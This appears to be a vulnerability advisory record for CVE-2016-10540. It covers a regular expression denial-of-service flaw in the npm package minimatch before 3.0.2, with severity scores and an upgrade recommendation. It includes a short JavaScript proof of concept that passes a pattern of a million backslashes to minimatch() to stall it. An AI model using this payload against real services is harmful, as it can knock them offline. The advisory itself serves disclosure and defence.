CVE-2016-10540 – minimatch

Package

Manager: npm
Name: minimatch
Vulnerable Version: >=0 <3.0.2

Severity

Level: High

CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00435 pctl0.6207

Details

Regular Expression Denial of Service in minimatch Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.

Metadata

Created: 2018-10-09T00:40:41Z
Modified: 2023-09-11T22:02:05Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/10/GHSA-hxm2-r34f-qmc5/GHSA-hxm2-r34f-qmc5.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-hxm2-r34f-qmc5
Finding: F002
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